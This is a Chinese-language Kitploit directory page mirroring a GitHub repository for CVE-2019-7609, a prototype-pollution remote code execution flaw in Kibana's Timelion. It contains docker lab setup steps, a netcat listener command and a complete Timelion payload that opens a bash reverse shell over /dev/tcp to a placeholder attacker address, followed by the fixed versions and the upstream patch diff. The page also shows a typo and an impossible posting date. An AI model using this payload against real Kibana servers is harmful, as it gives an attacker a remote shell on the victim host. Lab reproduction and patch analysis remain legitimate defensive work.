Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-7609 | Kitploit
工具/GitHubGitHub/hekadan/cve-2019-7609
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育远程访问工具实验室与实践
GitHubhekadan/cve-2019-7609

CVE-2019-7609

查看仓库
2036年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-7609 (Kibana)

Kibana的Timelion visualizer存在缺陷,可导致远程代码执行的漏洞

环境配置 (docker)

  1. 运行附带的 docker-compose.yml。
root@kitploit:~
docker-comopse up -d
  1. 在浏览器中访问 http://127.0.0.1:5601。

漏洞利用

  1. 准备一个反弹shell。
root@kitploit:~
$ nc -lvp 6666
  1. 在Kibana的Timelion界面中输入payload,然后点击运行。
root@kitploit:~
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/<공격자서버IP>/6666 0>&1");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

  1. 在左侧面板中点击Canvas。
  2. 在Kibana服务器上建立反弹shell连接 :)

payload reverse-shell

补丁

将Kibana更新至6.6.1或5.6.15及以上版本

已修改的源代码

https://github.com/elastic/kibana/commit/3377f813a5d96ff466bdf7343ce161de24830ed4.patch

root@kitploit:~
From 3377f813a5d96ff466bdf7343ce161de24830ed4 Mon Sep 17 00:00:00 2001
From: ppisljar <[email protected]>
Date: Wed, 16 Jan 2019 06:01:20 -0800
Subject: [PATCH] fixes

---
 .../core_plugins/timelion/server/series_functions/props.js      | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/legacy/core_plugins/timelion/server/series_functions/props.js b/src/legacy/core_plugins/timelion/server/series_functions/props.js
index 81b74901d4db..80e9cafd6712 100644
--- a/src/legacy/core_plugins/timelion/server/series_functions/props.js
+++ b/src/legacy/core_plugins/timelion/server/series_functions/props.js
@@ -32,7 +32,7 @@ function unflatten(data) {
     let prop = '';
     let m;
     while (m = regex.exec(p)) {
-      cur = cur[prop] || (cur[prop] = (m[2] ? [] : {}));
+      cur = (cur.hasOwnProperty(prop) && cur[prop]) || (cur[prop] = (m[2] ? [] : {}));
       prop = m[2] || m[1];
     }
     cur[prop] = data[p];
下载工具